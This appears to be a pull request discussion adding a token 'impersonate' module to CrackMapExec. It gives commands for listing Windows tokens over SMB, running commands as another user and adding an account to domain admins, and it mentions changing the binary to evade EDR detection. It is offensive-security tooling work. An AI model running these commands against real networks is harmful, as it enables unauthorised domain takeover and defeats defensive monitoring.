Add the Impersonate module

[Dfte]

Module usage

List available tokens

cme smb -u USERNAME -p PASSWOD -M impersonate

Impersonate user token

• To list tokens: cme smb -u USERNAME -p PASSWORD -M impersonate -o MODULE=list
• To run comand as user: cme smb -u USERNAME -p PASSWORD -M impersonate -o MODULE=exec TOKEN=<TOKEN_ID> CMD=whoami
• To escalate dom admin: cme smb -u USERNAME -p PASSWORD -M impersonate -o MODULE=adduser TOKEN=<TOKEN_ID> CMD="username password 'group admin du dom' \domaincontroller"

[mpgn]

I did test it but while I'm connected as administrator on my DC, the impersonate binary didn't find any session.
On my other server, only the command 'whoami' or dir is working, I have the feeling whoami /all is failing because of the space.

[Dfte]

I have added double quotes to make sure that commands with spaces are run correctly. Also I have change the binary a bit to evade EDR's. !)

[mpgn]

I've rework the options :)
Very stable on my side !!

I will not merge until the code of impersonate is public so I can build it myself.

[Dfte]

I'm thinking about adding an optional FILE option to specify a recompiled version just in case the embedded gets flagged.
Anyway, I'll release the code of the original binary with the blog post (about a week I'd say) :)!

[mpgn]

Yes, an option with a file will be perfect, check the module procdump for example :)

[Dfte]

Here is the code of the embedded binary https://github.com/sensepost/impersonate/tree/main/CME_module :)